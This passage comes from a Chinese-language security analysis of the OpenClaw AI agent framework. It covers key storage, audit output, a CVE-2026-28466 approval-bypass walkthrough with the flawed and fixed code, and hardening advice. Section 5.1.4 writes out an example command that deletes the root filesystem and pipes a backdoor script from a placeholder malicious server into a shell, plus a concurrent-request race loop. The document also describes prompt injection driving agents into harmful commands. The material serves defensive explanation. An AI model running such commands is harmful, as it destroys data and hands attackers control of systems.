| API 密钥 | • OpenAI API Key• Anthropic Claude API Key• Google Gemini API Key | • 系统环境变量• 配置文件(建议加密存储) | 访问各类大语言模型(LLM)服务,进行推理和交互。 | • 配额盗用 :攻击者消耗您的 API 额度。• 经济损失 :产生高额的额外账单费用。• 服务滥用:利用您的身份生成违规内容。 |
| 通讯平台令牌 | • Telegram Bot Token• Discord Bot Token• Slack Bot Token• WhatsApp Business API 凭证 | • 配置文件(需严格权限控制)• 专用密钥管理服务 | 连接即时通讯平台,实现消息收发、命令响应及身份验证。 | • 身份冒充 :攻击者伪装成官方机器人向用户发送欺诈信息。• 未授权访问 :窃取群组/频道内的敏感对话数据。• 声誉损害:恶意行为导致账号被封禁或用户信任崩塌。 |
| 数据库凭证 | • 数据库用户名/密码• 连接字符串 (Connection Strings)• 主机地址与端口 | • 配置文件(严禁明文)• 环境变量 | 连接外部数据库,用于持久化存储记忆数据、会话历史及系统配置。 | • 数据泄露 :敏感用户数据、聊天记录被非法读取。• 数据篡改 :恶意修改或删除核心业务数据。• 内网渗透:以数据库为跳板攻击内网其他服务。 |
| 加密密钥 | • 配置文件对称加密密钥• 记忆数据加密密钥 (Data Encryption Keys) | • 内存运行时加载• 硬件安全模块 (HSM) 或独立密钥库 | 对本地存储的敏感数据(如配置、记忆片段)进行加解密保护。 | • 防线崩溃 :一旦泄露,所有依赖该密钥加密的数据将瞬间变为明文。• 隐私裸奔 :本地存储的私密对话和历史记录完全暴露。• 合规风险:违反数据保护法规(如 GDPR)。 |
3.8.3. 当前存储方式
OpenClaw 在密钥管理方面采用了环境变量和加密的 JSON5 配置文件两种主要方式。根据官方文档,凭证安全性是系统设计的核心考量之一,OpenClaw 强制要求使用环境变量或加密的 JSON5 配置文件来管理密钥。
| 管理方式 | 核心机制 | 安全特性与优势 | 潜在风险与挑战 | 适用场景 |
|---|---|---|---|---|
| 环境变量存储 | 用户将 API 密钥、令牌等设置为系统环境变量,OpenClaw 启动时自动读取。 | • 进程隔离:密钥不直接出现在配置文件中。 • 实时风控:内置 openclaw doctor 工具可扫描配置风险,确保生产环境安全。 • 部署灵活:适配容器化(Docker/K8s)的标准实践。 |
• 继承泄露:子进程可能继承父进程的环境变量,导致意外泄露。 • 日志记录:若调试级别过高,环境变量可能被打印到日志中。 • 管理分散:在多服务器环境下,统一管理和轮换较困难。 | • 容器化部署 • CI/CD 流水线 • 生产环境标准实践 |
| 加密配置文件 | 使用加密的 JSON5 格式存储敏感信息,密钥字段经算法加密,运行时动态解密。 | • 静态保护:即使配置文件被窃取,攻击者无法直接获取明文密钥。 • 集中管理:所有凭证集中在一个受保护的文件中,便于审计。 • 官方推荐:符合官方"凭证安全性为核心考量"的设计原则。 | • 密钥管理难题:用于解密的"主密钥"本身需要安全存储(如内存或HSM),否则形成单点故障。 • 运行时暴露:解密后的密钥在内存中仍以明文形式存在。 • 配置复杂:增加了初始设置和密钥轮换的复杂度。 | • 本地开发环境 • 无法使用环境变量的场景 • 需要持久化存储凭证的场景 |
| Skills 环境注入 | 通过 skills.entries.*.env 和 skills.entries.*.apiKey 将秘密直接注入到宿主主机进程中。 |
• 提示词隔离:确保敏感信息不会出现在 LLM 的 Prompt 上下文中,防止提示词注入泄露。 • 日志净化:避免密钥被意外记录在对话日志或调试输出中。 • 按需加载:仅特定 Skill 运行时才加载对应密钥。 | • 宿主进程可见:密钥以明文形式存在于宿主进程内存空间,若宿主被攻破(RCE),密钥极易被提取。 • 非沙箱隔离:注入目标是宿主进程而非隔离沙箱,扩大了攻击面。 • 依赖信任:完全信任该 Skill 代码不恶意读取其他注入变量。 | • 第三方 Skill 集成 • 需要严格区分不同服务凭证的场景 • 防止 Prompt 泄露的高敏操作 |
4. Openclaw 的安全检查
OpenClaw 已经提供了一个安全审计功能,用户可以通过以下命令进行审计:
openclaw security audit --deep
4.1. 安全检查的内容
命令能够检查以下方面:
| 检查类别 | 具体检查项 | 安全风险描述 |
|---|---|---|
| 网络暴露风险 | 网关绑定地址检查 | 检查网关是否绑定到公网地址(如 0.0.0.0 ),导致服务暴露,存在被未授权访问的风险。 |
| 网关认证状态检查 | 验证网关是否启用身份认证(Token / 密码),未启用认证则任何人都可控制 AI 智能体。 | |
| 认证令牌强度检查 | 检查认证令牌是否过于简单或长度不足,易被暴力破解。 | |
| 文件系统权限 | 配置文件权限检查 | 检查核心配置文件(如 openclaw.json )和状态目录( ~/.openclaw )的访问权限是否过于宽松。 |
| 敏感文件权限检查 | 扫描存储凭证、会话信息的文件(如 credentials/*.json ),确保其权限安全。 |
|
| 工具与权限边界 | 高危工具启用检查 | 检查是否启用高风险工具(如 exec 、 browser ),这些工具可能被滥用导致系统入侵。 |
| 工具影响范围评估 | 评估已启用工具在开放环境下的潜在 "爆炸半径",防止提示词注入转化为系统操作。 | |
| 会话与钩子安全检查 | 检查是否存在外部消息钩子(webhooks)暴露或会话密钥被不当覆盖。 | |
| 插件与技能安全 | 插件来源审查 | 检查已安装插件(Skill)是否来自可信来源,是否存在未授权扩展。 |
| 插件代码安全扫描 | 深度检测插件代码中是否包含命令注入、数据窃取等恶意逻辑。 | |
| 浏览器控制暴露 | 远程浏览器端点检查 | 检查是否存在远程浏览器节点、中继端口或远程 CDP 端点暴露,防止成为攻击入口。 |
| 深度实时探测 | 网关实时连通性验证 | 进行额外的实时探测,深入验证网关层面的连通性和暴露情况。 |
4.2. openclaw security audit 检查举例
下面是OpenClaw 的安全审计检查结果示例:
sh
openclaw-cn security audit --deep
🦞 OpenClaw-CN 0.1.7 (415f7b6) --- 一个CLI统治所有,再加一次重启因为你改了端口。
(node:21820) [DEP0040] DeprecationWarning: The `punycode` module is deprecated. Please use a userland alternative instead.
(Use `node --trace-deprecation ...` to show where the warning was created)
Clawdbot security audit
Summary: 4 critical · 3 warn · 1 info
Run deeper: openclaw-cn security audit --deep
CRITICAL
fs.state_dir.perms_world_writable State dir is world-writable
D:\openclaw mode=666; other users can write into your Clawdbot state.
Fix: chmod 700 D:\openclaw
fs.config.perms_writable Config file is writable by others
D:\openclaw\openclaw.json mode=666; another user could change gateway/auth/tool policies.
Fix: chmod 600 D:\openclaw\openclaw.json
fs.credentials_dir.perms_writable Credentials dir is writable by others
D:\openclaw\credentials mode=666; another user could drop/modify credential files.
Fix: chmod 700 D:\openclaw\credentials
fs.auth_profiles.perms_writable auth-profiles.json is writable by others
D:\openclaw\agents\main\agent\auth-profiles.json mode=666; another user could inject credentials.
Fix: chmod 600 D:\openclaw\agents\main\agent\auth-profiles.json
WARN
gateway.trusted_proxies_missing Reverse proxy headers are not trusted
gateway.bind is loopback and gateway.trustedProxies is empty. If you expose the Control UI through a reverse proxy, configure trusted proxies so local-client checks cannot be spoofed.
Fix: Set gateway.trustedProxies to your proxy IPs or keep the Control UI local-only.
gateway.token_too_short Gateway token looks short
gateway auth token is 9 chars; prefer a long random token.
fs.sessions_store.perms_readable sessions.json is readable by others
D:\openclaw\agents\main\sessions\sessions.json mode=666; routing and transcript metadata can be sensitive.
Fix: chmod 600 D:\openclaw\agents\main\sessions\sessions.json
INFO
summary.attack_surface Attack surface summary
groups: open=0, allowlist=0
tools.elevated: enabled
hooks: disabled
browser control: disabled
5. OpenClaw 的已知漏洞分析举例
5.1. CVE-2026-28466
OpenClaw 2026 年 3 月爆发的临界级权限绕过 + 远程代码执行(RCE)漏洞。影响所有v2026.3.8 及以下版本,可直接完全接管系统。
- CVSS 评分
| Score | Severity | Version | Vector String |
|---|---|---|---|
| 9.4 | CRITICAL | 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| 9.9 | CRITICAL | 3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
5.1.1. 漏洞危害
- 完全接管:攻击者可执行任意系统命令、读写文件、窃取密钥、安装后门。
- 零交互:结合 CVE-2026-25253,用户仅访问恶意网页即可被入侵。
- 无门槛:利用工具已公开,扫描器可批量发现公网暴露实例(约 40 万 +)。
5.1.2. 漏洞原理(技术拆解)
- 核心机制:审批流程失效
OpenClaw 设计了Node 调用审批机制:
当 Agent 执行高风险操作(如exec、node、python)时,需用户在前端弹窗手动确认。
漏洞点:审批逻辑存在条件竞争(Race Condition)与参数校验绕过。
- 利用路径
攻击者通过CVE-2026-25253(WebSocket 劫持)或恶意技能,向 Gateway 发送恶意指令。
指令触发 Node.js 脚本执行,系统弹出审批弹窗。
攻击者利用并发请求或参数篡改,在审批弹窗出现前 / 同时,绕过校验直接执行代码。
代码以当前用户权限运行,实现完全 RCE。
5.1.3. 关键代码缺陷
javascript
运行
// 漏洞代码片段(v2026.3.8)
async function executeNodeScript(script, approvalRequired = true) {
if (approvalRequired) {
// 异步弹出审批,但未等待用户确认
showApprovalDialog();
// 漏洞:未等待审批结果,直接执行
return runScript(script);
}
return runScript(script);
}
这段代码的本质问题是:异步操作(弹审批弹窗)和同步执行(跑脚本)没有 "等待关联"。
- 开发者预期
开发者想实现:
1. 检查是否需要审批 → 是
2. 弹出审批弹窗 → 等待用户点击"确认"
3. 用户确认后 → 执行脚本
4. 用户拒绝 → 终止执行
5. 实际执行逻辑(漏洞点)
但代码的实际执行流程是:
1. 检查是否需要审批 → 是
2. 调用 showApprovalDialog()(弹弹窗,但这个函数是"异步"的,不会阻塞代码)
3. 不等用户确认/拒绝,立刻执行 return runScript(script) → 脚本直接跑起来
5.1.4. 攻击者如何利用这个缺陷(两种核心方式)
5.1.4.1. 方式 1:直接利用 "无等待" 特性(最基础)
攻击者不需要做任何复杂操作,只需要发送触发 executeNodeScript 的指令即可 ------ 哪怕审批弹窗弹出来了,脚本已经在后台执行完了。
示例攻击指令(简化):
javascript
运行
// 攻击者发送的恶意指令
executeNodeScript(`
// 恶意代码:执行系统命令,比如创建后门
require('child_process').exec('rm -rf / && curl 恶意服务器/后门.sh | sh');
`, true); // 哪怕传true(需要审批),也会直接执行
执行流程:
攻击者发送指令 → 代码进入 if (approvalRequired) 分支
调用 showApprovalDialog() → 弹窗开始加载(异步,耗时几毫秒)
代码不等弹窗加载完成,立刻执行 runScript → 恶意代码执行
几毫秒后弹窗弹出来 → 但此时系统已经被攻陷了
5.1.4.2. 方式 2:条件竞争(Race Condition,放大危害)
如果开发者后续加了 "简单的等待逻辑",攻击者还能通过并发请求绕过:
javascript
运行
// 攻击者发送100个并发请求
for (let i = 0; i < 100; i++) {
setTimeout(() => {
executeNodeScript(恶意代码, true);
}, i * 1); // 每隔1毫秒发一次
}
哪怕代码有轻微的等待逻辑,并发请求中总有一个请求能 "卡" 在审批校验完成前、脚本执行开始后的窗口,从而绕过。
5.1.5. 修复后的正确代码(对比理解)
要解决这个问题,核心是让代码等待审批的异步结果,修复后的代码应该是这样:
javascript
运行
// 修复后的代码:await 等待审批结果
async function executeNodeScript(script, approvalRequired = true) {
if (approvalRequired) {
// 关键:await 等待审批弹窗的结果(用户确认/拒绝)
const isApproved = await showApprovalDialog();
// 只有用户确认了,才执行脚本
if (!isApproved) {
throw new Error("用户拒绝执行脚本"); // 拒绝则终止
}
}
return runScript(script);
}
// 审批弹窗函数必须返回 Promise(异步结果)
async function showApprovalDialog() {
return new Promise((resolve) => {
// 弹出弹窗,监听用户点击事件
const dialog = createDialog({
title: "高危操作确认",
onConfirm: () => resolve(true), // 确认 → 返回true
onCancel: () => resolve(false) // 取消 → 返回false
});
dialog.show();
});
}
- 修复的核心改动:
- showApprovalDialog 改为返回 Promise(异步结果);
- 用 await 等待审批结果,只有结果为 true(用户确认),才执行 runScript;
- 若用户拒绝,直接抛出错误终止执行。
5.1.6. 总结
- 原代码不是 "被跳过",而是异步操作未加等待,审批流程形同虚设,哪怕传了 approvalRequired = true,也会直接执行脚本;
- 攻击者只需发送恶意指令,无需绕过任何校验,代码本身就没等审批结果;
- 修复的核心是用 await 等待审批的异步结果,确保 "只有用户确认,才执行危险操作"。
这个漏洞的本质是异步编程的基础逻辑错误------ 新手最容易犯的错误就是忽略 async/await 的 "等待" 特性,导致安全校验只做了 "表面功夫"。
6. OpenClaw 安全风险分析与防范对策表
| 安全维度 | 当前存在的主要问题 | 具体风险描述 | 推荐防范与加固措施 |
|---|---|---|---|
| 网络协议 | 默认信任本地/弱认证 • 默认监听 127.0.0.1,易被改为 0.0.0.0• 缺乏强制身份验证机制• 默认端口 18789 易被扫描 |
• 公网暴露导致未授权访问• 攻击者可直接连接网关执行指令• 成为僵尸网络节点 | • 严禁公网直连 :保持本地监听,使用 SSH Tunnel 或 Zero Trust (Tailscale) 远程接入• 强制认证 :部署反向代理 (Nginx) 配置 OAuth2/Basic Auth• 防火墙限制:仅允许受信任IP访问端口 |
| 通讯安全 | 明文传输/提示词注入• 内部通讯多为 HTTP 明文• 缺乏对自然语言指令的严格过滤 | • 局域网内中间人攻击 (MitM) 窃听密钥• 提示词注入 (Prompt Injection) 绕过逻辑执行恶意命令 | • 全链路加密 :强制启用 HTTPS/TLS• 输入过滤 :部署WAF或中间件过滤特殊字符和注入Payload• 指令审计:对高风险命令进行二次确认 |
| 密钥存储 | 明文存储/权限过大 • 配置文件 (config.json, .env) 明文存Key• 日志可能记录敏感信息• 密钥往往拥有管理员权限 |
• 恶意软件定向窃取 (~/.openclaw)• 文件泄露导致云端资源被完全接管• 历史聊天记录泄露密钥 |
• 密钥管理 :使用 Vault/KMS 动态获取,禁止硬编码• 最小权限 :API Key 仅授予必要权限 (Least Privilege)• 文件保护 :配置文件权限设为 600,启用磁盘加密 |
| 用户管理 | 缺乏多租户隔离• 单实例共享同一环境• 无角色区分 (Admin vs User) | • 任意连接者均可获得最高权限• 无法追溯具体操作者• 恶意用户可篡改全局配置 | • 引入 RBAC :实施基于角色的访问控制• 会话隔离 :为不同用户创建独立的沙箱会话• 强审计:记录所有用户操作日志并远程备份 |
| 权限管理 | 全系统权限默认开启• 默认拥有宿主机完整读写/执行权• 第三方 Skill 缺乏审核机制 | • 误操作或恶意指令可删除系统文件• 恶意插件直接以当前用户身份运行• 横向移动攻击内网其他设备 | • 白名单机制 :仅允许运行经过审查的官方/内部Skill• 细粒度控制 :限制可访问的目录和可执行的命令列表• 禁用自动安装:关闭未知来源插件的自动下载功能 |
| 本地运行 | 容器逃逸/资源滥用 • Docker 挂载根目录 (-v /:/host)• 使用 privileged 模式运行• 缺乏系统调用限制 |
• 容器内RCE直接转化为宿主机控制权• 被用作挖矿机或DDoS跳板• 供应链攻击植入后门 | • 严格容器化 :禁止挂载根目录,禁用 privileged 模式• 沙箱技术 :使用 gVisor/Kata Containers 隔离• Seccomp限制 :禁止危险系统调用 (如 mount, reboot)• 资源限额:设置 CPU/Memory 上限防止滥用 |
7. 总结
深入探讨了开源 AI 智能体框架 OpenClaw(俗称"龙虾")在赋予 AI"自主执行能力"的同时所引发的严峻安全挑战。文档从架构原理、通讯协议、密钥管理、已知漏洞及防护策略等多个维度进行了全面剖析。
7.1. 核心风险:能力即风险
OpenClaw 的核心价值在于能自主操作文件、调用 API 甚至控制系统,但这使其安全风险远超传统对话式 AI。一旦失控,AI 可能从"助手"变为"内鬼",导致远程代码执行(RCE)、数据窃取和系统被完全接管。
7.2. 主要安全威胁维度
网络暴露风险:默认监听端口(18789)若配置不当暴露在公网,且缺乏强认证,攻击者可轻易扫描并接管实例。
权限失控:默认以高权限运行,缺乏细粒度控制。恶意提示词注入可诱导 AI 执行危险命令(如删库、安装后门)。
数据与凭证泄露:敏感信息(API Key、聊天记录)常以明文存储在本地配置文件或日志中,易被恶意软件窃取。
供应链危机:第三方插件(Skills)若未经审核,可能包含恶意代码,在高权限下静默运行。
架构缺陷:分层架构中,若网关(Gateway)或执行层(Executor)缺乏隔离,单层突破即可导致全线失守。
7.3. 技术架构与协议分析
文档详细拆解了 OpenClaw 的五层架构(渠道层、网关层、智能体层、执行层、本地运行时),指出其依赖多种协议进行通信:
WebSocket/HTTP:用于实时交互和管理接口,若未启用 TLS 加密,易受中间人攻击。
RPC (JSON-RPC):用于内部组件及插件通信,若缺乏签名验证,易被伪造指令。
SSH/SFTP & 本地系统调用:用于远程和本地任务执行,是风险最高的环节,直接关联系统权限。
mDNS/DNS-SD:用于服务发现,可能泄露内网拓扑信息。
7.4. 关键漏洞案例 (CVE-2026-28466)
文档重点分析了一个临界级漏洞:
问题本质:异步编程逻辑错误。在执行高危操作(如运行 Node 脚本)时,代码未等待用户审批弹窗的结果(await缺失),导致审批流程形同虚设。
后果:攻击者无需任何交互即可绕过审批,直接执行任意系统命令,实现零交互 RCE。
修复方案:必须使用 await 严格等待异步审批结果,确认用户授权后方可执行后续代码。
7.5. 安全防护与加固建议
针对上述风险,文档提出了系统的防御策略:
- 网络隔离:严禁将网关端口直接暴露在公网。推荐使用 SSH 隧道、Tailscale 等零信任工具进行远程访问。
- 最小权限原则:
- 不以 root/admin 身份运行 OpenClaw。
- 利用 Docker 容器化部署,限制文件系统挂载范围,禁用 privileged 模式。
- 对 API Key 实施最小权限授予。
- 全链路加密:强制启用 HTTPS/TLS,防止局域网内窃听。
- 密钥安全管理:
- 禁止明文存储密钥,推荐使用环境变量或专用密钥管理系统(Vault/KMS)。
- 配置文件权限应设为 600(仅所有者读写)。
- 人工介入(Human-in-the-loop):对删除文件、执行命令等高危操作开启二次确认机制。
- 定期审计:利用内置的 openclaw security audit --deep 命令定期检查配置、权限和网络暴露情况。
OpenClaw 是一把双刃剑。其便利性建立在极高的系统权限之上,因此安全性必须作为部署的首要前提。用户必须摒弃"默认信任"的心态,通过严格的网络隔离、权限控制和审计机制,为这只"龙虾"穿上坚固的盔甲。